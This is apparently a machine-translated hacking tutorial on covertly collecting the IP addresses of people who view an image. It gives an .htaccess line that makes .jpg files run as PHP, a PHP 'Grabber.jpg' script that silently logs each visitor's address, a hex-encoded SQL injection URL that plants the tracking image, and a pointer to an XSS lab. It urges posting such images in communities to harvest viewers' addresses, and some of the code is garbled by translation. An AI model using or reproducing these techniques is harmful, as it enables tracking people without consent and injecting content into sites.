_php instance of IP address via photo based on PHP implementation

In this tutorial, we'll learn how to use a photo to steal an IP address. My idea is to parse the jpg file as a php file by modifying the. htaccess file.

Here's the code we need to add to. htaccess:

AddHandler application/x-httpd-php5. jpg

Then copy the following code into Notepad, named Grabber.jpg

<?php
$fh = fopen (' Ip_list.txt ', ' a ');
Fwrite ($fh, $_server[' remote_addr ']. "
");
Fclose ($FH);
$im = Imagecreatefromjpeg ("N00b.png");
Header (' Content-type:image/jpeg ');
Imagejpeg ($im);
Imagedestroy ($im);
? >

Set the Grabber.jpg permission to 755, and then look for a picture, name it n00b.png, and put it in the same directory as grabber.jpg.

In this way, all work is ready. When someone browses grabber.jpg this picture, his IP address is recorded.

(Translator Note: You need to upload these things to our personal site space)

Poc:

(Translator Note: The author has posted an IP demo photo here, for everyone's privacy, I did not post it, readers can go to the author blog to view)

At this point, our photos are ready to start working.

And then I want to explain how to use Sqli to get an IP address. In fact, the use of photos to steal IP address is very fast, we have no reason to use sqli this method, but in order to let readers get more knowledge, I would like to explain it:

Http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′union Select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d6 52e6a7067223e,3#

Now, again, how do I use XSS to get an IP address:

Http://leettime.net/xsslab1/chalg1.php?name=&submit=search

All right, that's it.

We can do a lot of interesting things with this technique, in fact most communities allow us to post some photos, so we can use this method to get all the IP addresses of the people who have access to our photos.

The above is a small set for you to introduce the implementation of the PHP based on the photos to obtain the relevant content of IP address, I hope to help you!